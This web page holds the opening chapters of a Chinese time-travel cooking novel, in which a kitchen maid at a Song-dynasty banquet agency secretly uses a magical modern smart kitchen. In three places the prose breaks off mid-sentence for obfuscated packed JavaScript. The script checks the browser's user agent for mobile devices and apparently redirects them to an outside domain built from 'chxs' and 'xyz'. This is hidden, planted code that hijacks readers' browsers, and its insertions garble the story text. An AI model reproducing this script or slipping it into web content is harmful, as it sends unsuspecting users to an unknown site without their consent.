《带着智能厨房穿汴京（美食）》 1. 备菜丫头 暮春，杏花巷李家正在办小儿的满月宴。 前院的排场又大又雅致，宾客迎来送往、谈笑风生；后院四司六局[1]的司人可雅致不起来，正忙得热火朝天。 “茶酒司的人呢？赶紧给正堂送茶啊，哪有叫宾客干说话的道理？” “主家夫人说不喜欢送去的焚香，快快快，让香药局换松香。” “虽还没到夜里，也得知会烛火局一声，蜡烛灯笼都得提前备下。” “再催催厨司的备菜丫头，手脚都麻利点，一个时辰后准时上菜，万不可辱没咱四司六局的名声！” “……” 厨房里，梁琪也在忙活，正用铁勺把煮好的红小豆压成泥。 豆沙是待会儿给铛头儿[2]做果子用的，还要再蒸一馏，豆只煮八分熟，因此碾起来特别吃劲儿。 梁琪甩甩手痛的手：“好累啊。” 一旁的采荷干的是剁肉馅儿的活儿，也没好到哪去，操着厚重的菜刀剁羊肉和菘菜[3]，膀子早就酸得不行了。 闻言“嘘”了声：“小声些，让马婆子听见，又得骂咱们矫情。” 马婆子是厨司的管事，一个看面相就刻薄的妇人，最喜欢为难她们这些小丫头片子。 又生性爱财，那不，使了铜钱的就给派轻松活计，像她们这种没钱没势的，只能干最重的备菜活儿。 梁琪耸耸肩，只好继续干活儿，谁让她们是四司六局最低等的备菜丫头呢。 穿来这几日，她也搞清楚了。 四司六局是她的“工作单位”，她是隶属厨司的底层小职工。 所谓四司六局，可不是三省六部那种官制，而是帮达官贵人承办宴席的机构。 这里是富贵云集的汴京城，达官贵人最喜欢办宴会，可又不想亲自操劳张罗，四司六局应运而成。 从场地搭建，到茶酒供应，从果子点心，到珍馐席面，从座次安排到陪客劝菜，一应给主家办得妥妥当当。 就像后世举办婚礼，婚嫁一应事宜都能承包给婚庆公司，造型、场地、婚宴等等全都包揽了，东家就跟喜主一样，只出钱就行，什么心不用操。 婚礼有中式、草坪、教堂等风格，四司六局可一点不差，风格更是花样百出。 李府老爷是武举出身，可当下汴京城中雅风盛行，李老爷生怕别人觉得他是大老粗，硬是往风雅的边上靠，再三交代宴席一定要办得雅致。 因此四司六局中负责场地布置的帐设司，寻来好些名家字画、瓷瓶古玩、香炉屏风，装点得那叫一个雅。 即便是梁琪一个现代人，都觉得这服务简直太周到了，东京富贵迷人眼，一点都不假。 只要钱使足了，没有买不来的服务，这道理在哪个朝代都适用。 梁琪在心里默默感慨，东京有钱人那么多，多她一个怎么了？别人能在前院光鲜亮丽的吃酒品茶，她们这些白席人就得在后头干苦力。 就连后头四司六局的白席人，也能分出三六九等。 梁琪往灶台边望了一眼，翠竹正在剥蒜。 同样是备菜丫头，因翠竹拿钱孝敬了马婆子，所以只消干剥蒜剥豆子的松快活儿。 今儿厨司要上三十九道凉盘热碟，配菜的活计可不轻松，倘若有失，马婆子也只会骂她俩，而不是使了铜钱的翠竹。 梁琪揉着酸痛的手腕，觉得再这么下去，腱鞘炎可得找上门了。 “呦，手酸啦？”剥完蒜的翠竹不知何时走过来，是人都能听出来，这语气绝不是关心，带着幸灾乐祸的意味。 厨房正是忙碌的时候，翠竹却洗了手，一副要出去的样子。 梁琪皱起眉头问：“你现在出去是何缘故？把头儿刚吆喝，一个时辰后就要上菜了。” 翠竹漫不经心地“嗯”了声：“剥蒜剥得累死了，出去透透气。” “你不就剥个蒜？累哪门子？”梁琪还没说话，采荷先气不过，“你松快了，备菜的活儿难不成交给我们两个？” 翠竹理所应当地说：“对啊，谁叫你们两个没钱打点，只能受累。” 说完，大模大样走出厨房。 梁琪和采荷两个姑娘对视一眼，虽然生气，却是没法子的事，谁让厨司风气就是这样，耽误了主家开宴是要扣工钱的，她俩都是穷苦出身，可经不住三扣两扣。 梁琪只得继续干手里的活儿，拿铁勺将盆里的赤小豆狠狠按压成泥，好似在发泄不公待遇带来的火气。 突然，脑海中“叮”的一声脆响，旋即一道机械女音响起——您的智能厨房已上线。 智能厨房？ 不待多想，下一秒，她的神识出现在一片现代化的空间中。 梁琪环视一圈，赫然发现这是间厨房，令人惊讶的是，她对这间厨房还真不陌生，正是穿越之前新家里刚布置好的厨房。 上辈子，她酷爱美食，跟着国宴大师埋头苦学十二年，好不容易学成出山，开了一家美食店，生意也逐渐做大做强。 攒了钱，买了房，装修时其他区域都不在意，唯有厨房是花尽了心思和预算。 不仅面积更大，还采买了一水最先进的智能家电，什么自动刨肉机、静音破壁机、程序炒菜机、语音蒸烤箱、真空冰箱、感应烟机……怎么说呢，顶级饭庄的配置也没这高。 有时候真不能小瞧吃货的魄力。 可这智能厨房布置完毕，还没来得及享用，她就出了车祸，一命呜呼…… 梁琪：&%#?%T?！ 看着熟悉的厨房，梁琪还以为又穿回去了。 可四周除了厨房并没有其他区域，她跑来跑去验证良久，终于确认，不是她穿回去了，而是她的智能厨房跟着穿来了。 呜呜呜，多贴心的厨宝啊。 既然是这样，那就不客气了！ 正想着，刚才那盆令人崩溃的赤小豆就凭空出现在智能厨房的岛台上。 梁琪轻车熟路地把小豆倒进破壁机，按下电源键，破壁机就嗡嗡的开始高速工作起来。 声音不大，还是静音的。 反复打了两三遍，小豆成了粘糯发亮的蜜沙馅儿，盛出来时拿勺子一抿，连颗粒都看不见，可见有多细腻。 东京人对吃食讲究，果子馅儿力求细腻无沙，可手工碾压得再久，也难有机器刀刃高速旋转下的更细。 这样的蜜豆沙拿出去，绝对是极品。 梁琪心念一动，人和豆沙同时出现在李宅后院的厨房中。 采荷还在磨菜刀，方才被翠竹气了一通，又嫌菜刀不够锋利，连肉都剁不动，便泄愤似的在磨刀石上嚯嚯出气。 梁琪在空间里待得时间不短，问道：“还没磨好吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836660|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 采荷“啊”了声：“我才刚磨了两下。” 梁琪恍然，原来在智能厨房中是没有时间流逝的。 她接过采荷手里的刀：“我帮你磨，厨房水不多了，你去叫水夫担些水来。” 厨司一共三个备菜丫头，除去翠竹，只有她和采荷关系还算不错，先前翠竹偷懒省下的活计，都是两人共同分担，也算有难同当。 “好。”采荷不疑有他，擦擦手就出去了。 后厨就剩梁琪自己，还磨什么刀，她放下刀，带着肉馅儿就进了厨房空间中。 绞肉机，这不专业对口嘛。 不仅能绞肉，连同菘菜、大葱、香蕈全都扔进去，不一会儿，肉馅儿打好了，盛出来时肉馅儿发出咯吱咯吱的声音，那叫一个均匀黏糊。 打完肉馅儿，梁琪也没闲着，黄瓜、胡萝卜、葱、姜，全都用自动刮削机削出粗细均匀的丝，白萝卜、番薯、芍药则被刮出薄厚均匀的片……各自盛在不同的盆中，等着铛头儿和厨子来煎炒烹炸。 等采荷再回来时，梁琪差不多把备菜的活儿忙完了。 采荷一进门，眼睛都瞪大了，各种食材都处理好了，规整有序地放在陶盆、瓦罐、瓷盘中。 且不说质量如何，光是这速度，也太快了。 梁琪淡定地说：“愣着干嘛呢，快把水烧上，这边就齐活儿了。” “你太厉害了。”采荷感动地泪眼婆娑，连忙让梁琪坐下歇会儿，“烧水的事交给我就好。” 梁琪一点都不累，手上那点酸痛这会儿都消失了，坐在木墩子上托着腮说：“听说李老爷办喜宴，还请了教坊的琵琶女，左右忙完了，咱们也去听曲儿去。” 采荷下意识想拒绝，可再一想，是啊，好不容易忙完得早，待在厨房也是闲着，还不如去见识下前院的风光，凭什么翠竹能偷懒，她们就不能偷闲？ 她把铜壶往炉子上一坐，解气地说：“走！” 梁琪笑着跟出去。 两个姑娘穿堂过巷来到前院，果然丝竹声正浓，院中摆着流觞曲水果子席，宾客席地而坐，推杯换盏，相谈甚欢。 梁琪闭眼感受了一曲琵琶乐，当真是如闻天籁，然而下一秒，耳朵被翠竹的声音污染。 “你们怎么在这儿？后厨的菜备完了吗？” 梁琪睁开眼，果然看到是翠竹。 这丫头说出来透气，感情也是来前院长见识来了，没想到三个备菜丫头竟然在这儿撞见了。 梁琪不答反问：“你又怎么在这儿？” 采荷附和着说：“备菜的活儿难不成是我俩的？” 备菜的活儿那么多，翠竹不认为后厨的活儿这么快就干完了，只当是这两人看不过自己闲着，也撂挑子不干了。 她一对二落入下风，仗着有靠山愤愤地说：“我这就告诉马婆子去，看她怎么收拾你们！” 采荷有一瞬间的担心，看到梁琪淡定的模样，才想到厨房的菜已经备完了，她们怕什么？ 幸亏有梁琪能干，这种戏耍对手的感觉真好，她学着文人的模样一伸手：“请便！” 翠竹气呼呼地跑开了。 她动作那叫一个麻利，生怕不能带着马婆子抓现形，还不等梁琪两人返回后厨，就和马婆子一起拦在半道上。 “婆婆你瞧，她俩这会儿还在外面转悠。” 2. 红豆糕 马婆子是厨司的管事，管的就是厨司的备菜丫头、伙夫、水夫这些杂役。 至于身份像样些的铛头儿和厨子，她是管不了的，因此只能在这些杂役身上立威。 见到梁琪两人从前院的方向回来，果不其然，这婆子立刻就横眉冷对起来。 “你们两个活儿干完了吗？工钱不想要了？前院是你们该去的地方吗？” 采荷被马婆子骂惯了，慌忙垂下头。 却见梁琪不躲不闪，温声说：“回马婆婆，食材都备好了，想来这会儿铛头儿已经在烹饪了，至于为何去前院……” 她看了眼一旁得意洋洋的翠竹：“当然是去寻翠竹了，这丫头一刻钟前就出了厨房，刚在前院碰上，没说上两句话就跑了，原来是去恶人先告状了。” 翠竹震惊地看着梁琪，她可从不知道，梁琪什么时候长了一条巧舌，两句话就反将一军。 采荷也很诧异，从前她和梁琪两人就是厨司的受气包，梁琪今儿怎么这么大胆了？ 翠竹还想反驳什么，却被梁琪抢了话头：“有没有备完菜，一道去厨房看了就知。” 马婆子虽然不是什么好脾气的人，也知道轻重。 主家花重金聘请四司六局来筹办宴席，厨司是重中之重，直接关系到主家的面子，若真是耽误了上菜的时辰，不是她一个管事能担待得起的。 眼下不是骂人的时候，得先看备菜进度。 “都跟我去厨房！” 翠竹狗腿似的跟上，得意地看了眼梁琪，仿佛已经胜券在握。 厨房里飘出阵阵炊烟，还没进门，就已经闻到飘散出的饭菜香气，铛头儿和厨子已经在里面开始忙活了。 见马婆子和几个备菜丫头来，铛头儿在烟火中露出一个笑容，声音盖过滋啦滋啦的热油声，大声说：“今儿的菜备的真不错！切丝均匀，肉馅儿和蜜豆沙细得很，可见下足了功夫，我说马婆子，你合该奖赏她们。” 铛头儿这么满意，可见备菜是没任何问题的。 只是马婆子个吝啬鬼才不会拿钱赏人，敷衍一句“好说”，带着梁琪等人来到外头。 翠竹的神色已经不自在了，她怎么也没想到，梁琪和采荷的备菜速度会这么快，三个人的活儿两个人干，还能省出时间去前院。 她是花钱打点了马婆子，那也只是干活的时候松快些，可不代表这婆子会偏心她到这种程度。 果然，马婆子瞪了翠竹一眼：“再敢生出什么幺蛾子，厨司可就容不下你了。” 翠竹瑟缩一下肩膀，低声说“是”。 马婆子一走，采荷就拉着梁琪的胳膊笑起来：“真解气！” 厨司的分工很精细，备菜丫头只干备菜的活计，余下烹饪的活计是铛头儿和厨子的。 至于上菜，那是台盘司的事，他们还要负责清洗撤下的杯盏碗碟。 梁琪和采荷暂时没什么活儿了，看日头也到了吃饭时间，便围着灶台吃锅边饭。 汴京的贵族讲究吃□□致，起码也要摆个盘出来，这就使得做好的吃食有很多富裕，梁琪她们吃的就是这些多出来的食物。 虽说是剩余，却也是新鲜出锅的，不比摆盘的差。 最先出锅的是“子孙饽饽”，其实就是后世的饺子，李府有添丁之喜，这倒子孙饽饽是必不可少的。 饺子盛在盘中，像极了胖乎乎的奶娃娃，采荷尝了一个，睁大了惊喜的双眼。 羊肉香蕈和菘菜的肉馅儿口感紧致爽弹，紧紧包裹成团，像肉圆子一样紧致，却不柴，水灵灵的几乎冒汁。 “真好吃，怎么感觉比先前做的好吃？”她诧异地问，“梁琪，是不是你今日馅儿剁得好？” 肉馅儿剁到这个程度，口感的确会好上不少，铛头儿张大厨在这儿，她也不能居功，只说玩笑地说：“怕是张铛头儿的厨艺又精进了。” 好听话谁不乐意听，张铛头儿笑了笑，往梁琪碗里多盛几个饺子。 其实梁琪吃着只能算一般，她自己就是大厨，这些年舌头都被养刁了，这肉馅儿剁得虽说不错，味儿调的差些事，面皮也不够薄、不够筋道。 正在心里品评着，突然听到采荷好吃的叫出声：“你快尝尝这豆沙糕，我从没吃过这么可口的豆沙。” 豆沙糕中有充盈的蜜豆沙馅儿，占据了糕点的大部分味道，饶是张铛头儿厨艺不是上佳，也挡不住的美味。 听到采荷这么热情地夸赞，张铛头儿也忍不住尝了一口，柔软的表皮底下就是甜糯可口的豆沙，豆沙细腻到舌头一抿就化开了。 他动作一愣，显然觉得好吃的出乎意料。 可这不是他的水平啊，且那豆沙是梁琪压出来的，要说这糕好在哪，就好在馅儿上面。 张铛头儿深深看了眼梁琪，觉得行行出状元这话一点都不假，一个备菜丫头也能整出花活儿来。 他有预感，这道豆沙糕前院的人一定会喜欢。 果不其然，豆沙糕上菜没多久，就有李府的人来后厨了，说是厨司的菜做的好，李老爷有赏。 主家打赏四司六局的人虽不是什么稀罕事，却也不是那么地稀疏平常。 因此打赏官一来，好些人都围上来瞧热闹了，连同马婆子和翠竹。 打赏厨司诶，可得赶紧凑上前去，谁还不是厨司的人啊？ 打赏官手里拎着沉甸甸的一贯同钱，朗声说：“今日的三十九道菜中，有两道宾客吃着最好，我家老爷高兴，特别打赏这两道菜的厨子和备菜丫头。” 打赏的是厨子和备菜丫头，首先把马婆子排除，这婆子一脸幽怨，嘴里嘟嘟囔囔地走开了。 翠竹还是一脸期待，有备菜丫头，她也是备菜丫头，可她却忘了自己压根没干什么活儿。 打赏官继续说：“老爷要赏的是红豆糕和子孙饽饽。” 张铛头儿眼睛一亮，这两道菜都是他做的，他忙上前道谢：“谢主家赏。” 他从打赏官手里接过三百钱，笑得合不拢嘴。 其他白席人羡慕不已，不愧是掌勺啊，做的菜就是让人心服口服。 打赏官问：“这两道菜的备菜丫头是哪个？” 张铛头儿得了谁的济心里清楚，连忙把梁琪推出来：“豆沙馅儿是她做的，子孙饽饽是……” 梁琪一指采荷：“子孙饽饽的馅儿是采荷剁的。” 采荷挥着菜刀剁了那么久呢，膀子都累酸了，她可不能什么便宜都占。 打赏官干脆利落道：“各赏两百钱。” 采荷接过沉甸甸的铜板时，还觉得像在做梦，作为最底层的备菜丫头，她还从没被主家打赏过，即便是主家赏，多半也是赏局长和司长，再不就是铛头儿和厨子。 她怔怔地对梁琪说：“这本应该是你的。” 梁琪举举手里的钱：“我有，你娘不是还病着，正是用钱的时候，再说那肉馅儿确实是你剁得多。” 采荷心里一暖，从前听谁说同僚不能做朋友来着？现在她就是要把梁琪当最好的朋友，怎么着吧！ 厨司三个备菜丫头，两个都领了赏钱，只有翠竹一根毛都没有，脸上一阵青一阵白。 刚才挤得多靠前，现在就有多丢脸。 当下，汴京城达官贵人最是讲究排场，像李府这种喜宴一般来说至少要持续三日。 这三日，四司六局这些白席人吃住便都在后院，万一主家有临时吩咐，不至于没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836661|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人支应。 尤其是油烛局，还要供应夜晚的灯烛火。 梁琪在李府准备的屋子里好好睡了一晚，第二天一早起床，还要继续干备菜的活计。 天不亮，四司六局就如同打开电源键的机器，有条不紊地运行起来。 先是菜蔬局采买来新鲜的食材，水灵灵的蔬菜和新宰肉类，各色大料以及蛋奶等。 再是水夫担满水缸，柴夫挑来劈柴，台盘司送来厨具碗盏。 最后便是铛头儿把今日菜单往门上一贴，就等备菜丫头来打料批切，也即备菜。 梁琪一晚好睡，只觉得精神抖擞，来到厨房洗手挽袖，正要干活儿，忽然听翠竹说：“今个咱把要备的菜码分一分，省的你们觉得我占便宜。” 梁琪和采荷对视一眼，今儿太阳打西边出来了？ 略一想，就明白端由了，昨个儿李老爷打赏厨司，定是翠竹看出来那李老爷是个大方之人，有油水可捞，所以今日才主动包揽起活计来。 又担心将来领赏时别人埋没了自己的功劳，所以连菜码都要分分清楚。 她只当昨日的打赏功劳全是张铛头儿的，梁琪和采荷只是走了狗屎运，所以今日自己也来沾沾张铛头儿的光。 既然有人主动揽活儿，梁琪可是来者不拒。 “那感情好。”她问，“你想怎么个分法？” 翠竹站在菜单前绞尽脑汁，挑出最容易出彩的菜式，又担心打赏的概率不够高，竟选了超过三分之一的数量。 越是容易出彩的菜式备起菜来越繁琐，采荷听得嘴角直抽抽，这可真是自己给自己挖坑，为了点赏钱，不怕苦也不怕累。 连梁琪都不知道该夸这人是精明过头，还是傻了。 “没问题。”她听完翠竹报的菜名，拿起笔，在点到的菜名后面做上标记，代表这是翠竹备的菜，剩下的就是她和采荷的。 分好任务，三人便开始各自忙碌起来。 梁琪看了眼自己要备的菜，切丝、切片，这些都容易，照旧放进刮削机里即可。 只有一道枣泥的制作略微繁琐些。 若是没有智能厨房，要做枣泥就得先洗、再蒸、蒸好的枣子去核去皮，捣碎成泥，然后在平底锅上文火翻炒，一刻不停的翻炒，稍不留神就会粘锅或是炒糊。 但梁琪有智能厨房呀。 洗菜机中加入面粉搓洗红枣，洗的那叫一个干净，洗好的枣放进破壁机，别说枣皮，连枣核都能碎。 但她为了枣泥的口感，还是手动把枣核给去了，电器已经省了这么多事，剩这点小活儿不在话下。 最后枣泥放入不粘锅，燃气调到最小，边加味道更好的橄榄油，边翻炒。 不一会儿，厨房中便有了浓浓的枣香。 等所有备菜的活儿干完，也不过才半个时辰。 采荷还在忙碌着。 菜单中有一道豆浆鲫鱼比较麻烦，需要把大豆磨出浆来，石碾子却是又笨重出活儿又慢。 刚才分菜时翠竹就避开了这道菜，采荷估计想还梁琪的人情，故意把这道难搞的菜要走了。 其实只要把大豆放进豆浆机里，打出浆不过十五分钟，哪里还需要人拉着石磨一遍一遍得磨。 梁琪故技重施：“采荷，我这有块豚肉不新鲜，你能帮我跟菜蔬局的人说一声，重新买一块来吗？我来帮你磨豆子。” “好。”采荷擦了手就要去，笑说，“不过你不爱与生人说话的性子可得改改，否则离了我，谁替你传话去。” 梁琪笑着应了声。 听说今儿李老爷请了国子监的监生来作字画为宴席助兴，眼瞅这边齐活了，她可得去前院瞧瞧当代监生的风采。 3. 枣花酥 等采荷亲自带着新鲜的豚肉回来时，梁琪已经把黄豆磨成豆浆了。 奶黄色的浆子盛在罐中，质地醇厚、细腻，散发出豆类独有的醇香。 “你都帮我磨完啦？”采荷惊讶极了，“手腕还好吗？定是酸极了吧？” 梁琪的手才不酸，豆子在豆浆机中飞速打磨时，她还听冰箱的智能语音系统讲了个笑话。 “还好还好，幸而今日要备的菜不是很多。” 采荷自告奋勇：“那这块豚肉[1]我帮你腌。” 梁琪点头答应了，腌制豚肉不是很繁琐的活，因豚肉腥味中，以此为食材前必定要用大料腌足时辰，才能去腥味。 不多时，那豚肉就腌上了，接下来只需要等大料慢慢深入肌理即可。 梁琪和采荷这边已经完事了，再看翠竹，还在吭哧吭哧剁羊蝎子，往常都是翠竹最清闲，今儿倒是让她体会了一把备菜人的不易。 翠竹也不知道为何，那两人的备菜速度怎么会那么快，一个没留神，梁琪盆中的菜已经切完了，再一个不留神，难搞的枣泥和豆浆都做出来了…… 看得她简直怀疑人生，难不成因为自己偷懒，备菜的技艺都下降了？ 采荷望着整整齐齐的备菜，舒了口气说：“梁琪，咱的备菜速度越来越快了。” 梁琪点头：“既然时辰还早，不如再去前院瞧瞧，听说今日前院有字画评比。” 采荷眼睛一亮，那岂不是会有许多文人墨客，可以一饱眼福了：“那还等什么，走。” 两人正要走，却听翠竹抱怨地问：“活儿还没干完，你们就这么走了？好歹都是备菜丫头，不能相互帮一把吗？” 采荷不客气地回敬：“活儿不是一早就分来了吗？往常你不种善因，现在还想要善果？” 说完，拉着梁琪就走。 前院果然在评比字画。 宋朝皇帝重文，不止朝中多文臣，民间也极为推崇文人风气，精于琴棋书画者甚多，虽说朝廷武力值弱了些，但文化却是盛极一时。 院中摆着一大排字画架，不少字画已经完成并悬挂于架子上，供人赏析品评。 梁琪其实对字画不是很懂，她也不是来看字画的，而是来欣赏美男滴：“都说东京士子多风流，果然不假，瞧他们那鬓上，都还插着花。” 这年间，男子也流行戴花，代表这人是名人雅士，不是个大老粗。 采荷连连点头：“是呢，真好看。” 戴花的人多了，反倒都一个模样了，梁琪注意到院中那些男子中，只有一人未曾戴花，只着一身朴素青袍，却显得气质卓然，有出尘脱俗之清爽。 “那青衫官人是谁？” 旁人采荷不知，唯有那人她却知道：“是国子监的监生，刘子今，因样貌才学出众，被汴京城好些小娘子惦记，你竟不知道？” 梁琪还真不知道，只是诧异：“只是监生身份，就能来赴李府喜宴，这位刘监生怕是出身也高？” 采荷摇摇头：“那就不得而知了。” 两个姑娘正闲聊着，那边的字画似乎已经评选出最佳了。 李老爷高举着一副书写“寿”字的题字，宣布此字当得魁首。 梁琪眯起眼睛去看字上的篆章和落款，是为“子今私印”和“刘子今书”。 魁首竟是那监生。 众人纷纷向青杉官人道贺，刘子今敛面向人们回礼，神色淡然自若，倒是个淡泊之人。 相比于刘监生的淡然，李老爷则是满面喜色，魁首怎么能没有彩头，当即让人取出金帛赠予魁首。 梁琪抱着胳膊看得津津有味：“李老爷光想着拿钱充排场，却不知道那刘子今一看就不喜金银，即便喜欢，这样的场合也没法收啊。” 果然，金帛一来，刘子今就连连推拒，怎么都不肯收。 李老爷此刻才觉出味儿来了，拿金帛打赏读书人，堪称羞辱。 他一面道歉，一面另选彩头。 最终在众人的商议下，彩头改为由刘监生挑一位四司六局的白席人打赏，即从今日所有排办中挑出最出彩的地方，赏赐给置办该处的白席人。 这个主意好，即消了李老爷没彩头给魁首的尴尬，又让人家觉得李府体谅工商阶层，还顾全了刘监生魁首的名头。 魁首觉得好的东西，自然不俗。 梁琪和采荷一听今儿又要打赏四司六局的人，耳朵都竖起来了，可又听说是让刘子今来挑，又都失望起来。 那刘子今一看就是个不重口腹之欲的，旁人边吃边喝边聊天，只有刘子今的眼睛从头到尾就没看茶点一眼。 “这赏赐八成落不到厨司头上。”梁琪啧啧说道。 采荷也赞同：“毕竟是文人书生嘛，多半会觉得某个字画古玩好，再不就是哪个香炉造型奇特，哪味焚香气味好，帐设司的人今儿有福了。” 左右结果一时半会揭秘不了，梁琪两人就先回了后院， 厨房里，翠竹的活儿总算干完了，累得满头大汗，瘫坐在木墩子上揉手腕。 采荷对此可生不起同情的心思，以前的处境可都是调换过来呢，那个时候翠竹当甩手掌柜，谁来同情她们去？ 前院发生的事很快传到后院来，一听说今儿还有赏赐，翠竹顿时觉得所有的辛苦都没白费。 她已经拿钱打点过马婆子，本来可以少干点活的，这么主动揽活儿，还不是为了能拿赏钱。 要知道昨儿赏赐的两百钱，抵得上这三日在李府的工钱了。 很快，张铛头儿并着两个厨子来做菜。 张铛头儿因着有昨儿的赏赐，故而今日精神抖擞的，摩拳擦掌要大展身手，企图再得一次主家的赏赐。 可很快他就发现，今日备下的食材很多不如昨日的精致，质量参差不齐。 好比那枣泥做的就很好，豆浆也十分细腻，可那羊蝎子剁却大小不一，鹿肉片得也不均匀。 偏偏质量不好的这几道备菜又都是他的拿手菜，这不是拖后腿吗？ 他进门时就看到门上张贴的菜单，上面都做了标记，只要是那翠竹备的厨菜，质量就不好。 张铛头儿心里存着气，故意跟梁琪说话让翠竹听着：“梁小娘子，你和采荷在四司六局做工多年，手艺是练出来的，可也该提点一下马管事，给其他人也多练练，否则出来的活儿不行，那不是辱没咱们厨司的名声吗？” 屋里三个丫头并着两个厨子，谁不知道这话在点谁？ 翠竹脸色不好看，却也不敢顶撞铛头儿，只吊着脸，闷闷地不说话。 梁琪玩笑说：“我们可不敢去说，只管精进自己的手艺就是，还得劳烦张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836662|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铛头儿去说道说道。” 张铛头儿可不客气：“改天有机会我一定跟马婆子说说。” 接着照旧是做菜、上菜，前院宾客尽欢，后院忙忙碌碌，一排墙屋隔开前后院两种截然不同的风格。 直到傍晚，暮色四合，华灯初上，前院传来消息，说刘监生觉得好的东西选出来了。 四司六局的人聚在一起打听消息。 “选出来的是什么物件？字画？屏风？还是碗盏？” “究竟花落谁家了？快说啊，真是急死人了。” 梁琪都没往前凑，觉得今日厨司获赏的概率不高。 瞧那刘官人风光霁月那样，选一文玩才符合他的身份，若真选了吃食，难道不怕有失身份？ 翠竹倒是凑到最前面，她可是花了大气力的，备了那么多道菜，获赏的几率应当很高。 正议论着，角门开了，来的仍旧是昨日那打赏官，手里照旧拎着半贯钱。 他走到人群中间朗声宣布：“刘官人今日评选出的好物是，厨司所做……” 众人一片哗然，哎呀，又是厨司，还以为那刘监生不喜吃食呢，厨司连着两天获赏，当真是福气满满啊。 梁琪微微诧异了下，没想到那刘官人还真选了吃食，倒是个表里如一的人，不是那种为了名声假清高的伪君子。 翠竹睁大双眼，觉得打赏官手里的钱离自己又近了一步。 打赏官继续说：“是厨司所做枣花酥……” 翠竹失望了，换张铛头儿瞪大眼睛，枣花酥是他做的。 “……的馅儿。”打赏官一句话大喘气好几回，终于说完了。 枣花酥的馅儿？ 张铛头儿恍然，不是他，馅儿是梁琪做的。 他虽然遗憾不是自己所做，却也不会占人小姑娘的便宜，何况备菜丫头获赏，他作为铛头儿也有指点的功劳，不丢人。 因此他立刻把梁琪推了出来：“是她，枣花酥的馅儿是梁小娘子做的。” 梁琪手里被塞进沉甸甸的四百钱时，还有些愣神，她怎么都不会想到那刘子今会选了枣花酥……的馅儿。 那刘监生可真有意思，把东西拆开揉碎了来选，怎么看都是个较真儿的人。 她反应过来，温声说：“妾身多谢李相公赏，多谢刘官人赏。” 同为白席人，梁琪两天被赏了两次，实在让人羡慕不已，众人纷纷道贺。 采荷更是为好友高兴，神采飞扬的，只有翠竹脸都气黑了。 第三日，这是李府宴席的最后一日。 再劳累一日，白席人就能结算工钱放假归家了，直到下次再有生意，这些人会在把头儿的召集下重新聚起来，为新东家筹划宴席。 第二天一早，梁琪和采荷照旧在厨房处理食材。 可左等右等，竟迟迟不见翠竹来。 往常这翠竹倒也不是没干过这种事，仗着打点了马婆子，直接把活儿全扔给梁琪两人，自己找地方躲清闲。 这回怕是因为昨日收了累，又没获赏，还眼睁睁地看着同为备菜丫头的梁琪领赏，心里不平衡，干脆连面都不露了。 采荷问：“怎么办，咱们总不能又替她干了吧？” 梁琪想了想：“她的活儿给她留着，耽误了铛头儿做菜，事情闹大也和咱们没关系。” 4. 五谷渔粉（一） 采荷从梁琪眼中看到一丝决然。 凡事不破不立，从前都是她们太软弱，才让翠竹一个欺负俩，如今就抱着破釜沉舟的态度，谁为刀俎谁为鱼肉还不一定呢。 这两日和梁琪相处下来，她也慢慢觉出眼前这略显文弱的姑娘，其实是个有主见的，让人莫名有安全感。 梁琪接着说：“从前咱们和翠竹是一条绳上的蚂蚱，不得不顾着自己，虽说现在也没解绑，但好歹咱也得拿了主家赏钱的，司长若想罚，也得掂量掂量会不会打主家的脸。” 采荷听了这话心里更加有底儿了。 她明白梁琪的意思，主家第一日当着众人的面赏了她俩，第二日更是连宾客都知道，梁琪是刘官人亲选出来赏的，若是第三日就有人罚前两日领赏的人，那必然是不对劲的。 “还是你思量得周到。”采荷佩服不已，眼神也决绝起来，“那咱们就只干自己份内的活儿。” 打定主意，梁琪和采荷开始各自忙活起来，只备自己份内的菜。 梁琪今儿要打料，即把各种大料香料捣成粉末，包裹在稠纱布中，给铛头儿留着卤肉，或是卤熟食。 大料虽然也能直接下锅，但打成粉再下锅食物的入味效果更好，左右厨司有备菜丫头的劳力不用白不用，厨子们当然更喜欢料粉。 各色大料照旧仍旧破壁机中，机器嗡嗡嗡打一会儿，大料就成了混合均匀的粉末，在空气中留下浓浓的干香。 梁琪一边把料粉分装在稠纱布中，拿面线系好，一边感慨这静音破壁机也太好用了，简直万物皆可碎。 倘若没有这破壁机，她就只能用药碾子慢慢磨，手酸不说，也太费时了。 ……不出一个时辰，她这边的菜全部备好了。 采荷正在切姜丝，她那还有一道羊肉炕饼，需要和面团。 梁琪本想用自动搅拌机来和面的，再一想，左右还不到时辰，闲着也是闲着，干脆拉过面盆，亲自动手揉起来。 国宴大师亲自教习的揉面功夫，她这手法可不含糊。 两人一边干着手里的活儿，一边去瞥门口，翠竹迟迟没来。 